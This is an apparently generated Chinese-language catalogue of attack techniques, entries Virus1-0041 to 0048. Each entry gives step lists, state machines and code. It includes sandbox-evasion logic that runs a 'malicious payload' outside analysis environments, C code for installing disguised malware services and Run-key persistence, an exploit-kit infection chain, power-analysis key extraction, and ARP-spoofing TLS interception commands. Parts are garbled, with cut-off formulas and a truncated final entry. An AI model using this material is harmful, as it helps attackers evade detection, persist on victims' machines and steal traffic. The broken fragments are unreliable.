逻辑：业务规则是逻辑公式。漏洞检测是检查∃s∈S, ∃e∈E: T(s,e)=s' ∧ violates(s', R)，即存在一个转移导致违反规则。
状态机：系统行为建模为FSM，漏洞表现为FSM中非预期的转移或状态。
集合：状态集合，事件集合，规则集合。
并发：竞争条件检测涉及多个线程/进程对共享状态的交错访问。

HTTP请求/响应序列，API端点，会话令牌，业务对象ID，状态参数。

1. 以未登录用户身份，直接访问需要认证的页面/admin/dashboard（事件E1），检查是否返回200 OK（状态不应从S0转移到S_admin）。
2. 以用户A登录，获得订单orderA（状态S_created）。尝试以用户B的身份（修改Cookie或Token）访问GET /orders/{orderA}（事件E2），检查是否返回订单详情（水平越权）。
3. 用户A创建订单，到达支付页面（状态S_pending_payment）。不支付，直接构造请求POST /orders/{orderA}/ship（事件E3），检查是否发货成功（绕过支付）。
4. 并发测试：同时发送两个支付请求POST /pay（事件E4）针对同一订单，检查是否被重复扣款（竞争条件）。
5. 优惠券使用：应用一次满减券后，尝试再次应用（事件E5），检查是否被允许（业务规则违反）。

顺序（业务流程通常有序）+ 尝试乱序/非法序列（攻击测试）

时间：O(

S

*

Virus1-0041​

硬件缺陷（侧信道-功率）​

基于功耗轨迹分析的简单功率攻击（SPA）模型

简单功率分析攻击

1. 数据采集：对密码设备（如智能卡、加密芯片）在执行密码操作（如RSA签名、AES加密）时，通过串联电阻或电磁探头测量其瞬时功耗P(t)，以高采样率（如1GS/s）获得功耗轨迹T = {P(t0), P(t1), ..., P(tn)}。
2. 轨迹对齐：对多次测量的轨迹进行时间对齐，以消除时钟抖动和噪声影响。使用互相关或特征点（如操作开始时的明显功耗尖峰）对齐。
3. 操作识别：通过观察功耗轨迹的轮廓，识别不同的密码学操作。例如，RSA的平方乘算法中，“平方”和“乘法”操作可能产生不同的功耗模式。设操作Op_i对应的平均功耗模式为M_i(t)。
4. 密钥位推导：对于每一轮操作i，将实测轨迹T_i(t)与参考模式M_square(t)和M_mult(t)进行匹配或比较功耗幅值。如果观察到高功耗的乘法操作，则推测对应私钥位d_i = 1；如果只有低功耗的平方操作，则推测d_i = 0。
5. 密钥重构：将推导出的密钥位序列组合成完整密钥K。

信息泄露：直接泄露算法内部操作序列。成功率：对未加防护的实现成功率极高。误差：受测量噪声和轨迹对齐精度影响。

密码学算法实现、电路功耗模型、信号处理（对齐、滤波）

1. 攻击智能卡中的RSA或ECC实现
2. 提取嵌入式设备中的AES密钥
3. 攻击硬件安全模块（HSM）
4. 物联网设备固件密钥提取
5. 边信道攻击评估（实验室环境）
6. 手机安全芯片（SE）的侧信道分析
7. 游戏机硬件（如早期游戏主机）的密钥提取
8. 汽车无钥匙进入系统的密钥破解
9. 支付终端（POS机）的侧信道攻击
10. 学术研究和教学演示

常量：采样率Fs，操作参考模式M_square(t), M_mult(t)，算法轮数N。
变量：实测功耗轨迹T(t)，对齐后的轨迹T_aligned(t)，推测的密钥位序列{d_i}。
参数：对齐方法（互相关、动态时间规整），噪声滤波阈值，密钥位判断阈值（功耗差值）。

状态：S0-设备上电，触发密码操作-> S1-采集功耗轨迹-> S2-轨迹预处理（滤波、对齐）-> S3-分割轨迹，对应到各轮操作-> S4-对每轮轨迹，与参考模式比较或提取特征-> S5-根据功耗特征推测密钥位-> S6-组合密钥位，输出完整密钥。

信号处理：功耗轨迹是时间序列信号。对齐是信号配准问题。
统计：对多次测量取平均以提升信噪比（SNR）。
模式识别：将轨迹片段分类为“平方”或“乘法”操作。
信息论：每次测量泄露1比特密钥信息。

功耗数据（模拟电压/数字采样值），密码操作触发信号（如GPIO）。

1. 设置示波器，在加密芯片的VCC路径上串联小电阻R_sense，测量其电压降V(t)，则瞬时功耗P(t) ≈ V(t)^2 / R_sense。
2. 触发设备执行RSA签名S = M^d mod N，同时采集P(t)，重复K次得到轨迹集合{T_k(t)}。
3. 计算平均轨迹T_avg(t) = (1/K) Σ T_k(t)以减少随机噪声。
4. 根据算法，RSA每轮包含一个平方操作，如果私钥位为1，则额外跟随一个乘法操作。在T_avg(t)上，识别出N个相似的“平方”模式脉冲，并在某些轮次后观察到附加的“乘法”脉冲。
5. 设第i轮平方操作后的时间窗口Δt内的平均功耗为E_sq_i，之后Δt内为E_mul_i。如果E_mul_i > Threshold（由噪声水平确定），则判定d_i = 1，否则d_i = 0。
6. 输出私钥d = (d_{N-1}, d_{N-2}, ..., d_0)_2。

顺序（算法操作顺序决定密钥位顺序）

时间：O(N * L)，N为密钥位数，L为每次测量的轨迹长度。主要开销在数据采集和后处理。
空间：存储高采样率轨迹，数据量庞大（GB级）。

目标硬件：密码芯片内部晶体管开关活动导致电流变化，从而产生功耗轨迹。攻击测量发生在芯片外部。
攻击者硬件：高带宽示波器、信号放大器、可能用FPGA做同步触发。
指令序列：不涉及，是物理层模拟信号测量。

Python伪代码（核心分析）：
import numpy as np
def analyze_spa_trace(trace, square_template, mul_template):
key_bits = []
for i in range(num_rounds):
sq_region = trace[sq_start[i]:sq_end[i]]
mul_region = trace[mul_start[i]:mul_end[i]]
corr_sq = np.correlate(sq_region, square_template)
corr_mul = np.correlate(mul_region, mul_template)
if corr_mul.max() > THRESHOLD: # 检测到乘法操作
key_bits.append(1)
else:
key_bits.append(0)
return key_bits

Virus1-0042​

病毒/逃逸技术​

基于环境感知与沙箱检测的反仿真模型

沙箱/虚拟机环境检测与逃逸

1. 信息收集：查询系统环境信息，包括：硬件信息（CPU品牌、型号、核心数、内存大小）、系统信息（计算机名、用户名、已安装软件、运行进程、网络适配器MAC地址）、运行时信息（系统运行时间、鼠标移动、键盘活动、屏幕分辨率/颜色深度）。
2. 特征匹配：将收集的信息与已知的沙箱/虚拟机特征进行匹配。例如：
- CPU检查：通过CPUID指令查询虚拟机标识（如VMware， VirtualBox的特定特征位）。
- 内存与进程检查：沙箱环境内存通常较小（如2GB），且运行特定监控进程（如vmtoolsd, vboxservice）。
- 行为检查：沙箱中用户交互少（鼠标不动、无键盘输入、屏幕截图可能为默认壁纸）。
3. 诱导延迟/触发：执行计算密集型或耗时操作（如循环计算大素数），并测量实际耗时。沙箱可能设置超时机制，长时间无“恶意行为”会提前终止分析。或尝试触发需要用户交互的操作（如弹出消息框），沙箱可能自动点击“确定”。
4. 决策逻辑：如果匹配到足够多的沙箱特征（如满足条件Σ w_i * f_i > Threshold，其中f_i为特征布尔值，w_i为权重），则判定处于沙箱环境，执行无害代码或直接退出。否则，执行恶意负载。

逃逸率：对已知沙箱特征有效，但对抗自适应沙箱效果下降。误判：可能将某些真实用户环境（如低配PC、无外设服务器）误判为沙箱。

数字取证与事件响应（DFIR）、虚拟化技术、行为分析、启发式检测

1. 绕过自动化恶意软件分析沙箱
2. 逃避云端动态分析服务
3. 对抗杀毒软件的启发式扫描和仿真
4. 针对移动应用（Android/iOS）模拟器的检测
5. 游戏外挂对抗反作弊系统的虚拟机检测
6. 软件保护（防止在调试器中运行）
7. APT攻击中延长样本在沙箱中的存活时间
8. 勒索软件在加密前确认处于真实环境
9. 窃密木马避免在分析环境中泄露C2
10. 红队工具规避自动化防御系统

常量：已知沙箱/虚拟机特征列表SandboxFeatures，权重向量W，判定阈值T。
变量：收集的环境信息向量EnvInfo，计算出的特征匹配值MatchScore，沙箱判定结果IsSandbox。
参数：检测的激进程度（特征数量）、是否启用诱导延迟、延迟时间。

状态：S0-程序启动-> S1-收集环境信息-> S2-计算特征匹配分数-> S3-分数>T？-> S4-（是）判定为沙箱，执行无害代码或退出-> S5-（否）判定为真实环境，执行恶意负载。

集合：沙箱特征集合，环境信息集合。
逻辑：加权求和决策：IsSandbox = (Σ_i w_i * I(EnvInfo matches Feature_i)) > T。
概率：每个特征对沙箱的指示概率不同，权重w_i可视为其对数几率。
优化：寻找最具判别力的特征组合。

系统API调用（GetSystemInfo, GetAdaptersInfo）、CPUID汇编指令、窗口消息处理。

1. 调用CPUID指令，eax=0，检查厂商字符串ebx:edx:ecx是否为“VMwareVMware”或“KVMKVMKVM”等。
2. 调用GetSystemInfo，检查dwNumberOfProcessors是否<=2，dwMemorySize是否<4GB。
3. 调用GetCursorPos并记录，休眠一段时间（如30秒）后再次调用，检查鼠标是否移动。
4. 枚举进程，查找”vboxservice.exe”, ”vmwaretray.exe”等。
5. 检查MAC地址前三个字节（OUI）是否属于VMware (00-50-56), VirtualBox (08-00-27)等。
6. 计算匹配分数：score = 10*(IsVMwareCPU) + 5*(numCores<=2) + 3*(mem<4GB) + 8*(找到VM进程) + 7*(MAC是虚拟) + 2*(鼠标未移动)。
7. 如果score > 15，则判定为沙箱，执行ExitProcess(0)；否则，继续执行恶意代码。

顺序（信息收集）+ 并行（可同时检查多个特征）

时间：O(1)，特征检查是常数时间操作。诱导延迟会引入固定时间开销。
空间：存储特征列表和检查结果，内存开销极小。

x86 CPU：执行CPUID指令获取虚拟化信息，执行系统调用获取系统信息。诱导延迟可能使用RDTSC循环或sleep系统调用。
指令序列：CPUID-> 系统调用（GetSystemInfo等） -> 内存和字符串比较指令 -> 条件跳转（根据检测结果）。

C代码片段（CPUID检查）：
bool is_vmware() {
int regs[4];
__cpuid(regs, 0x40000000); // VMware hypervisor CPUID leaf
char vendor[13];
memcpy(vendor, ®s[1], 4);
memcpy(vendor+4, ®s[2], 4);
memcpy(vendor+8, ®s[3], 4);
vendor[12] = ‘\0’;
return strcmp(vendor, “VMwareVMware”) == 0;
}

Virus1-0043​

蠕虫/移动端​

基于漏洞利用套件（EK）的“水坑”攻击传播模型

网页漏洞利用套件（Exploit Kit）

1. 流量重定向：通过黑帽SEO、恶意广告（Malvertising）、或被黑网站，将受害者流量重定向到攻击者控制的漏洞利用套件登录页面（Landing Page）。重定向可通过HTTP 302、iframe注入或JavaScript实现。
2. 指纹收集：登录页运行JavaScript，收集客户端指纹：浏览器类型和版本、操作系统、已安装插件（如Java, Flash, Silverlight）、屏幕分辨率、字体等。形成指纹向量F。
3. 漏洞匹配：根据指纹F，从漏洞库中选择最适合该环境的漏洞利用Exploit_i。漏洞库包含针对各种浏览器、插件、OS的漏洞（如CVE-2016-0189, CVE-2015-2419）。匹配决策函数`D(F) = argmax_i P(Exploit_i succeeds

F)`。
4. 漏洞利用投递：将选定的漏洞利用代码（通常是JavaScript或Flash ActionScript）发送给客户端浏览器。利用代码通过堆喷射（Heap Spraying）、ROP链构建等方式，在浏览器进程中实现内存破坏并执行Shellcode。
5. 载荷投递：Shellcode通常从同一服务器下载第二阶段的恶意软件（如勒索软件、木马），并在受害者机器上静默执行。

感染率：依赖漏洞利用的成功率和目标环境普及率。隐蔽性：用户只需访问网页，无需交互。

浏览器安全模型、漏洞利用技术、客户端指纹识别、概率决策

1. 大规模传播勒索软件（如通过恶意广告）
2. 针对特定行业（如金融、政府）网站的“水坑”攻击
3. 植入银行木马（如Dreambot, Ursnif）
4. 组建僵尸网络（Botnet）
5. 窃取个人信息和凭证
6. 加密货币挖矿（通过浏览器）
7. 移动端浏览器攻击（较少）
8. 软件供应链攻击（入侵合法网站挂马）
9. 结合0-day漏洞的高级攻击
10. 红队测试中的社会工程学演练

常量：漏洞利用库{Exploit_1, ..., Exploit_M}，登录页URLLandingPage，载荷下载URLPayloadURL。
变量：客户端指纹F，选择的漏洞利用Exp，利用结果Success。
参数：指纹收集粒度，漏洞匹配策略（贪婪、置信度阈值），是否使用混淆以逃避检测。

状态：S0-受害者访问被黑网站或恶意广告-> S1-重定向到漏洞利用套件登录页-> S2-执行指纹收集脚本-> S3-根据指纹选择漏洞利用-> S4-投递漏洞利用代码-> S5-（利用成功）执行Shellcode，下载并执行载荷-> S6-（利用失败）可能记录日志或显示正常内容伪装。

集合：漏洞集合，指纹特征集合。
概率：每个漏洞i在给定指纹F下的成功概率`P(success_i

F)`，匹配目标是最大化期望成功概率。
决策理论：在不确定性和多臂老虎机问题下选择最优漏洞。
优化：平衡探索（尝试新漏洞）和利用（使用已知高效漏洞）。

JavaScript代码（指纹收集、漏洞利用），HTML/CSS（登录页），可能的Flash/Java applet。

1. 受害者访问www.compromised-site.com，页面中包含<iframe src=”http://ek-server/landing” width=0 height=0>。
2. 浏览器加载登录页，其中JavaScript调用navigator.userAgent, navigator.platform, navigator.plugins等API收集指纹F。
3. 将F发送回服务器（或本地JS决策）。服务器端匹配算法：对于每个漏洞i，计算匹配分数s_i = Σ_j w_{ij} * I(f_j in F)，其中w_{ij}是漏洞i对特征f_j的权重。选择s_i最大的漏洞。
4. 服务器返回对应的漏洞利用脚本。例如，针对IE的漏洞利用，可能通过VBScript和JavaScript进行堆喷射，布局Shellcode，并触发一个Use-After-Free漏洞，获得代码执行。
5. Shellcode下载PayloadURL的可执行文件，并使用WinExec或进程注入执行。

顺序（指纹->匹配->投递->执行）

时间：网络延迟为主，漏洞利用执行是毫秒级。指纹收集和匹配很快。
空间：漏洞利用代码和Shellcode较小，但堆喷射可能占用数百MB内存。

Virus1-0044​

木马/后门​

基于Windows服务与计划任务的持久化模型

Windows服务与计划任务持久化

1. 服务创建：以管理员权限，使用CreateServiceAPI创建新的Windows服务。指定服务名ServiceName，可执行文件路径ImagePath（指向恶意程序），启动类型StartType（如SERVICE_AUTO_START），服务类型ServiceType（SERVICE_WIN32_OWN_PROCESS）。
2. 服务配置：可选配置服务失败后的恢复操作FailureActions（如重启服务）。通过ChangeServiceConfig2设置。
3. 计划任务创建：使用任务计划程序COM接口（ITaskService）或schtasks.exe创建计划任务。指定触发器Trigger（如登录时TASK_TRIGGER_LOGON、定时TASK_TRIGGER_TIME），操作Action（执行恶意程序），以及条件和服务设置。
4. 注册表启动项：在注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run（或RunOnce， 以及对应Wow64和用户键）下添加条目，使恶意程序在用户登录时启动。
5. 文件关联劫持：修改文件类型关联（如.txt）或映像劫持（Image File Execution Options），使得当用户打开特定类型文件或程序时，恶意代码被首先执行。

持久性强度：高，结合多种机制，难以完全清除。隐蔽性：中，服务、计划任务、启动项是常见持久化位置，可能被安全软件监控。

Windows操作系统启动机制、服务控制管理器（SCM）、计划任务架构、注册表结构

1. 勒索软件驻留，确保重启后仍能加密文件
2. 远程访问木马（RAT）保持长期访问
3. 窃密木马在每次开机时运行
4. 挖矿木马在空闲时启动
5. 广告软件和潜在不受欢迎程序（PUP）
6. 横向移动后的权限维持
7. 红队测试中的持久性后门
8. 软件保护（License验证服务）
9. 恶意软件更新机制
10. 数字取证中的持久性分析

常量：服务名SvcName，可执行路径ExePath，计划任务名TaskName，触发器类型TriggerType。
变量：服务句柄hService，任务服务对象pService，注册表句柄hKey。
参数：持久化方法组合（服务、任务、注册表），是否使用文件/注册表隐藏。

状态：S0-获取管理员权限-> S1-创建Windows服务-> S2-配置服务（可选）-> S3-创建计划任务-> S4-添加注册表启动项-> S5-（可选）设置文件关联或映像劫持-> S6-持久化完成，恶意代码将在相应触发条件（启动、登录、定时）下执行。

集合：持久化位置集合（服务列表、任务列表、注册表键集合）。
逻辑：条件判断（权限检查，是否已存在）。
时序：不同触发机制（启动、登录、定时）对应不同的时间序列。

Windows API调用序列（CreateService, ITaskService::CreateTask），注册表操作API（RegSetValueEx），计划任务XML定义。

1. 服务创建：
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE svc = CreateService(scm, “MyMaliciousSvc”, “Benign Display Name”, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, “C:\Windows\System32\malware.exe”, ...);
StartService(svc, 0, NULL);
2. 计划任务：
通过COM创建任务，定义XML触发器：<LogonTrigger><Enabled>true</Enabled></LogonTrigger>，操作：<Exec><Command>malware.exe</Command></Exec>。
3. 注册表：
RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”, 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, “Malware”, 0, REG_SZ, (BYTE*)“C:\Windows\System32\malware.exe”, strlen(...)+1);
4. 系统重启或用户登录后，恶意程序将通过服务、计划任务或启动项自动执行。

顺序（安装步骤）+ 事件驱动（由系统启动/登录/定时事件触发执行）

时间：安装步骤O(1)，API调用开销很小。
空间：在磁盘上存储恶意可执行文件，在注册表和任务数据库中存储配置信息。

x86/x64 CPU：执行系统调用（与服务控制管理器、任务计划程序、注册表配置单元交互）。持久化安装是用户态操作。
指令序列：系统调用（NtCreateKey, NtSetValueKey用于注册表； NtCreateService用于SCM） -> COM方法调用（任务计划） -> 文件I/O系统调用（复制恶意文件）。

C代码片段（创建服务）：
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SC_HANDLE schService = CreateService(schSCManager, “MalService”, “Windows Update Helper”, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, “C:\malware.exe”, NULL, NULL, NULL, NULL, NULL);
if (schService) { StartService(schService, 0, NULL); CloseServiceHandle(schService); }

Virus1-0045​

漏洞发现（自动化）​

基于补丁差异分析的1-day漏洞挖掘模型

补丁比对与1-Day漏洞挖掘

1. 补丁获取：获取目标软件（如Windows, Adobe Reader, Chrome）的安全更新补丁文件。对于MSU/EXE，提取其中的补丁文件（.msp, .cab）；对于开源软件，获取提交历史中标记为安全修复的commit diff。
2. 文件比对：对比打补丁前后版本的文件（如DLL, EXE）。使用二进制差分工具（如bindiff, diaphora）或源代码diff工具。识别出被修改的函数和基本块。
3. 漏洞点定位：分析修改处的代码逻辑。通常，修复漏洞的代码会添加或加强安全检查（如边界检查、空指针检查、释放后重初始化）。被修改的函数F和具体位置L很可能是漏洞点。
4. 漏洞假设生成：基于补丁内容，推断原始漏洞类型。例如，如果补丁添加了数组索引检查，则原始漏洞可能是越界读写；如果补丁增加了对指针状态的检查，则可能是Use-After-Free。
5. 漏洞验证与利用生成：基于漏洞假设，构造输入或程序状态，尝试触发未打补丁版本中的漏洞。可通过模糊测试、符号执行或手工分析来验证，并尝试开发利用代码。

准确率：高，因为补丁直接指出了安全缺陷位置。效率：比从零开始挖掘漏洞快得多。

二进制差分分析、控制流图（CFG）比对、漏洞模式识别、逆向工程

1. 从微软周二补丁日挖掘Windows 1-day漏洞
2. 分析浏览器（Chrome, Firefox）安全更新
3. 挖掘虚拟机（VMware, VirtualBox）逃逸漏洞
4. 分析移动操作系统（Android, iOS）安全补丁
5. 挖掘文档阅读器（Adobe, Foxit）漏洞
6. 研究网络设备（路由器,防火墙）固件更新
7. 智能合约安全审计（通过commit history）
8. 恶意软件利用的漏洞分析（在野利用）
9. 软件供应链安全（分析第三方库更新）
10. 漏洞研究团队快速响应

常量：补丁前文件PreFile，补丁后文件PostFile，二进制分析工具BinDiff。
变量：差异函数列表DiffFuncs，补丁位置PatchLoc，漏洞假设VulnHypothesis。
参数：分析深度（函数级/基本块级），漏洞类型过滤器，是否自动生成PoC。

状态：S0-获取补丁前后版本-> S1-文件解压与提取-> S2-二进制/源代码比对-> S3-识别被修改的安全相关代码-> S4-分析补丁逻辑，推断漏洞类型-> S5-在未打补丁版本上验证漏洞-> S6-（验证成功）生成漏洞报告，可能包含PoC。

图论：比较两个版本的函数控制流图（CFG），寻找增加的边（检查）或修改的节点。
集合：修改的函数集合，增加的检查语句集合。
逻辑推理：从“添加了检查C”反推“缺少检查C可能导致漏洞V”。
模式匹配：匹配常见的补丁模式（如if (size > len) return error;）。

二进制文件格式（PE, ELF），反汇编代码，源代码diff（-, +行）。

1. 下载Windows补丁KB5000802，提取ntoskrnl.exe的前后版本。
2. 使用bindiff加载两个版本，进行比对。发现函数NtCreateUserProcess的CFG有变化：在基本块0x1234后新增了一个条件跳转，检查某个长度字段Length是否小于等于缓冲区大小BufferSize。
3. 分析新增代码：if (Length > BufferSize) { return STATUS_BUFFER_OVERFLOW; }。推断原代码缺失此检查，可能导致缓冲区溢出。
4. 聚焦到该函数，分析调用上下文，确定Length来自用户可控输入（如系统调用参数）。
5. 在未打补丁的ntoskrnl.exe上，编写一个测试驱动，调用NtCreateUserProcess并传入一个超大的Length值，观察是否触发内核崩溃（蓝屏）或导致越界写入。

顺序（获取->比对->分析->验证）

时间：依赖二进制文件大小和比对工具效率。对于大型二进制（如内核），可能需要数十分钟。
空间：需要存储两个版本的二进制文件及其分析中间文件。

通用CPU：执行二进制比对算法（图同构、哈希）、反汇编、控制流分析。是CPU密集型静态分析。
指令序列：文件I/O -> 反汇编引擎指令 -> 图构建和遍历算法指令 -> 差异计算指令。

使用BinDiff的命令行示例：
# 反汇编两个二进制文件
ida -A -S”batch_analysis.idc” pre_patch.exe
ida -A -S”batch_analysis.idc” post_patch.exe
# 运行BinDiff比较
bindiff pre_patch.exe post_patch.exe
# 输出差异报告，重点关注“补丁”和“更改了匹配”的函数。

Virus1-0046​

信息窃取/网络​

基于SSL/TLS中间人解密的流量分析模型

SSL/TLS中间人解密（MITM）

1. 网络位置劫持：通过ARP欺骗、DNS欺骗或恶意Wi-Fi接入点，将受害者（Client）与目标服务器（Server）之间的流量路由经过攻击者（Attacker）主机。
2. 伪造证书：攻击者生成一个自签名的根CA证书CA_attacker，并将其导入受害者系统的信任存储（需社会工程学或已有权限）。或者，在可控环境（如企业防火墙）使用合法的中间人CA证书。
3. TLS握手拦截：当Client发起TLS连接到server.com:443时，Attacker截获ClientHello。Attacker然后以Client的身份与真实Server建立TLS连接，同时以Server的身份与Client建立另一个TLS连接。
4. 双向解密：Attacker持有两对TLS会话密钥：(K_C2A, K_A2C)用于与Client的会话，(K_A2S, K_S2A)用于与Server的会话。因此，Attacker可以解密从Client收到的密文（用K_C2A），然后用K_A2S重新加密后转发给Server；反之亦然。
5. 流量分析与修改：明文流量流经Attacker，可被记录、分析（如提取HTTP Cookie、POST数据）甚至修改（如注入恶意JavaScript）。

解密能力：对使用攻击者可控CA签名的证书的会话，可完全解密。局限性：对证书固定（Certificate Pinning）的应用无效，且需要将根证书导入受信存储。

公钥基础设施（PKI）、TLS协议、中间人攻击原理、密码学

1. 企业网络监控与数据泄露防护（合法用途）
2. 安全研究中的加密流量分析
3. 恶意软件C2通信的解密与阻断
4. 测试移动应用的证书验证逻辑
5. 红队测试中的凭证窃取
6. 审计内部应用的加密通信安全
7. 教育环境下的网络内容过滤
8. 恶意Wi-Fi热点窃取用户信息
9. 绕过某些网络审查（通过代理）
10. 对物联网设备加密流量的分析

常量：自签名根CA证书CA_attacker及其私钥PrivKey_CA，目标域名TargetDomain。
变量：伪造的服务器证书Cert_forged，与Client的会话密钥K_C2A，与Server的会话密钥K_A2S，明文字节流Plaintext。
参数：MITM技术（ARP欺骗、代理），是否尝试绕过证书固定，是否修改流量。

状态：S0-网络劫持（ARP/DNS欺骗）-> S1-监听443端口流量-> S2-接收到ClientHello，启动伪服务器端握手-> S3-用CA_attacker私钥签署伪造的server.com证书发给Client-> S4-与Client完成握手，建立会话K_C2A-> S5-同时与真实Server建立连接，获取合法证书，完成握手得K_A2S-> S6-双向流量解密、分析/修改、转发。

密码学：TLS握手基于非对称加密（RSA/ECDHE）建立对称密钥。中间人攻击破坏了身份认证环节。
集合：可信根证书集合，会话密钥集合。
协议状态机：TLS握手是严格的状态机，中间人需维护两个独立的状态机。

TLS握手报文（ClientHello, ServerHello, Certificate, ...），X.509证书格式，TCP流。

1. 启动ARP欺骗，使Client的网关流量经过Attacker。
2. 在Attacker上运行透明代理（如mitmproxy）。
3. Client连接https://bank.com，发送ClientHello到Attacker的代理端口。
4. Attacker的代理与bank.com建立真实TLS连接，获得其证书Cert_real。
5. Attacker用CA_attacker私钥签署一个伪造证书Cert_forged，其主题与Cert_real相同，但公钥为Attacker生成的一对密钥中的公钥。
6. Attacker将Cert_forged发送给Client。如果Client信任CA_attacker，则握手继续，生成会话密钥K_C2A。
7. 此后，Client发送的应用数据用K_C2A加密，Attacker解密得到明文P，可记录或修改。然后用与bank.com的会话密钥K_A2S重新加密P（或修改后的P’）发送给真实服务器。响应同理。

并行（维护Client和Server两个独立的TLS连接和转发流）+ 实时（数据流持续）

时间：引入一个额外的解密/加密步骤，增加少量延迟（毫秒级）。
空间：需要存储两个TLS会话的状态和可能的流量日志。

通用CPU：执行TLS握手时的非对称加密/解密（RSA/ECC）、对称加密/解密（AES）、哈希运算（SHA）。网络I/O密集。
指令序列：网络数据包接收 -> TLS记录层解密（AES-GCM） -> 应用层解析 -> 可能修改 -> TLS记录层加密 -> 网络数据包发送。

使用mitmproxy的基本原理：
# 启动mitmproxy作为透明代理
mitmproxy --mode transparent --showhost
# 配置iptables将流量重定向到mitmproxy
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# 在客户端安装mitmproxy的CA证书（mitmproxy-ca-cert.pem）到信任存储。

Virus1-0047​

硬件缺陷（设计）​

基于形式化属性验证的硬件信息流安全模型

信息流跟踪（IFT）与形式化验证

1. 安全策略定义：定义信息流安全策略，例如无干扰（Non-interference）：高安全级（秘密）数据不应影响低安全级（公开）输出。形式化地，对于任意两个输入序列I1, I2，如果它们在公开输入上相等，则在公开输出上必须相等，无论秘密输入如何变化。
2. 硬件模型形式化：将硬件设计（RTL）转换为形式化模型M，通常表示为状态转移系统(S, S0, T, L)，其中L为标签函数，为每个状态变量分配安全级标签（如L(s) ∈ {Low, High}）。
3. 标签传播：根据硬件操作语义定义标签传播规则。例如：
- 赋值x = y：L(x) := L(y)
- 运算z = x OP y：L(z) := L(x) ⊔ L(y)，其中⊔是格上的最小上界（如Low ⊔ High = High）。
- 控制依赖：如果x的值影响条件分支，则分支内的赋值也隐式依赖于x的标签。
4. 不变性验证：验证安全不变式Inv：在任意可达状态s，对于所有输出端口o，如果L(o) = Low，则o的值不依赖于任何High标签的变量。这可以转化为模型检查问题：M ⊨ G (Inv)。
5. 反例生成：如果属性违反，模型检查器会生成一个反例，展示从High输入到Low输出的信息泄漏路径。

验证完备性：理论上可证明设计满足信息流安全属性。可扩展性：受状态爆炸限制，对大设计可能不适用。

信息流安全理论、格模型、非干扰、形式化验证（模型检查）、抽象解释

1. 验证密码协处理器不通过时序、功耗等侧信道泄露密钥
2. 验证处理器微架构（如缓存、分支预测器）的安全性
3. 验证隔离机制（如TrustZone, SGX）的隔离性
4. 验证硬件安全模块（HSM）的防篡改设计
5. 验证多级安全（MLS）系统的硬件组件
6. 检测硬件木马的信息泄露通道
7. 验证车载网络（CAN总线）组件的安全隔离
8. 验证航空航天控制系统的安全关键部分
9. 学术研究中的硬件安全属性探索
10. 安全IP核的第三方验证

常量：硬件设计模型M，安全级格(L, ⊑, ⊔, ⊓)，安全策略（不变式Inv）。
变量：状态变量标签映射LabelMap，当前状态s，验证结果Result。
参数：标签传播规则（包括控制依赖）、验证引擎（显式、符号）、是否进行近似（过近似可能导致误报）。

状态：S0-加载设计，初始化所有变量标签为Low-> S1-将秘密输入标记为High-> S2-模拟状态转移，根据规则传播标签-> S3-在每一状态检查不变式Inv-> S4-（Inv保持）继续模拟-> S5-（Inv违反）生成反例路径-> S6-（到达不动点或状态空间穷尽）报告安全。

格理论：安全级形成一个格，标签传播是格上的运算。
不动点：标签传播是单调函数，迭代计算直到最小不动点。
逻辑：不变式Inv是时序逻辑公式（如AG (label(o)=Low → o independent_of High)）。
抽象解释：在标签抽象域上执行抽象解释。

硬件描述语言（Verilog, VHDL），属性描述语言（如PSL, SVA），模型检查器输入语言。

1. 设计一个简单模块：out = (sel) ? secret : public;，其中secret是High输入，public是Low输入，sel是High输入。
2. 初始标签：L(secret)=High, L(public)=Low, L(sel)=High。
3. 传播规则：对于多路选择器out = sel ? a : b，L(out) = L(sel) ⊔ (L(a) ⊓ L(b))? 实际上，out依赖于sel, a, b，所以L(out) = L(sel) ⊔ L(a) ⊔ L(b)。
4. 因此L(out) = High ⊔ High ⊔ Low = High。如果out被声明为Low输出，则不变式Inv: (L(out)==Low)被违反。
5. 模型检查器会报告：当sel=1时，out的值等于secret，而secret是High，因此信息从High流到了Low输出out。

顺序（状态转移模拟）+ 迭代（标签传播直至不动点）

时间：最坏情况下是指数级（状态爆炸），但符号方法和抽象可缓解。
空间：存储状态和标签映射，可能很大。

通用CPU：执行模型检查算法，涉及状态空间遍历、标签计算、逻辑推理。是CPU和内存密集型。
指令序列：状态编码/解码 -> 标签格运算（比较、取上界） -> 图搜索算法指令 -> 约束求解器调用（如果使用符号方法）。

Verilog代码与SVA属性示例：
module mux(input high secret, input low public, input high sel, output out);
assign out = sel ? secret : public;
endmodule
// 安全属性：out不应受secret影响（当标记为low时）。这自然不成立。
// 形式化工具中，可以定义：
// assert property (secret == secret_prev)

Virus1-0048​

病毒/文件型​

基于压缩包内文件感染的寄生模型

压缩包（ZIP/RAR）病毒

1. 压缩包解析：读取压缩包文件（如.zip, .rar），解析其内部结构，获取文件列表FileList、压缩方法、CRC校验和等元数据。
2. 目标文件选择：从FileList中选择要感染的目标文件Target。通常选择可执行文件（.exe, .scr）、脚本文件（.js, .vbs）或文档文件（.doc, .pdf）。避免感染过大的文件或压缩包本身。
3. 解压与感染：将Target解压到临时目录。使用标准的病毒感染技术（如前面描述的PE感染、宏病毒等）感染解压后的文件，生成受感染的文件Target_infected。
4. 重新压缩与替换：计算Target_infected的CRC。将Target_infected以相同压缩方法（如Deflate）重新压缩。在压缩包中，用新的压缩数据替换原Target的压缩数据，并更新CRC、压缩后大小等字段。
5. 压缩包注释/自解压：可选修改压缩包注释，添加诱导性文本。或将病毒体与自解压模块绑定，制作成自解压（SFX）压缩包，运行时自动执行恶意代码。

感染率：依赖用户解压并运行被感染文件。隐蔽性：中，压缩包本身看起来正常，但内部文件已被修改，可能被校验和检测。

压缩文件格式（ZIP, RAR）、数据完整性（CRC）、寄生感染

1. 通过邮件附件传播
